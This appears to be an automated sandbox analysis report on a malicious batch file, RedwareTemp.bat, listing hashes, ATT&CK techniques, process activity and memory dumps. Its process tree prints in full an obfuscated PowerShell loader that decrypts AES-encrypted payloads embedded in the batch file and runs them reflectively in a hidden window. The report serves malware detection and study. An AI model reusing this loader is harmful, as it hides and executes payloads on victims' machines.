2b0fa86f46148d25d365085a021a9b836e34275955ca0446723553bbcf388ac0

Analysis

max time kernel
121s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
08/03/2025, 00:11

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General

Target

RedwareTemp.bat
Size

548KB
MD5

73c36e7e75e989f8b1e5dd4e9a1b493d
SHA1

af5bf582a6d1b424355f8af579b8f202fbe4b834
SHA256

2b0fa86f46148d25d365085a021a9b836e34275955ca0446723553bbcf388ac0
SHA512

5c95fcfb41ca505ca2a9d7d0f11d4e57831bfabd5e1c741c6bf26b0b2a89e36524cca53e6eff3ad7ccac14c0030ab0fc76581275ee8acfe0304be216a6e6ec44
SSDEEP

12288:FTiR+PqY3LWerg7f9AqvSU84kI3Hu+MoovimheIBVXMTT:RhAfcidQ6mEy8P

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2776	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2776	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2776	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2260 wrote to memory of 2772	2260	cmd.exe	32
PID 2260 wrote to memory of 2772	2260	cmd.exe	32
PID 2260 wrote to memory of 2772	2260	cmd.exe	32
PID 2260 wrote to memory of 2776	2260	cmd.exe	33
PID 2260 wrote to memory of 2776	2260	cmd.exe	33
PID 2260 wrote to memory of 2776	2260	cmd.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\RedwareTemp.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('olj6lNDH9BP9+WoXhpaGp14B/+RuhRlVS9vcmbQmtAw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+5d9Zu+yF4iwq9mJwhaRdw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $dPZnK=New-Object System.IO.MemoryStream(,$param_var); $OVsRl=New-Object System.IO.MemoryStream; $Lntcu=New-Object System.IO.Compression.GZipStream($dPZnK, [IO.Compression.CompressionMode]::Decompress); $Lntcu.CopyTo($OVsRl); $Lntcu.Dispose(); $dPZnK.Dispose(); $OVsRl.Dispose(); $OVsRl.ToArray();}function execute_function($param_var,$param2_var){ $rQsSK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fhwRv=$rQsSK.EntryPoint; $fhwRv.Invoke($null, $param2_var);}$qkzrl = 'C:\Users\Admin\AppData\Local\Temp\RedwareTemp.bat';$host.UI.RawUI.WindowTitle = $qkzrl;$KRqly=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($qkzrl).Split([Environment]::NewLine);foreach ($NNMBM in $KRqly) { if ($NNMBM.StartsWith('AyaGWreXdjmRZwIZSJRC')) { $nXbFi=$NNMBM.Substring(20); break; }}$payloads_var=[string[]]$nXbFi.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2776-4-0x000007FEF577E000-0x000007FEF577F000-memory.dmp

Filesize
4KB

Download
memory/2776-7-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-6-0x0000000002250000-0x0000000002258000-memory.dmp

Filesize
32KB

Download
memory/2776-10-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-9-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-8-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-5-0x000000001B520000-0x000000001B802000-memory.dmp

Filesize
2.9MB

Download
memory/2776-11-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-12-0x000007FEF577E000-0x000007FEF577F000-memory.dmp

Filesize
4KB

Download
memory/2776-13-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download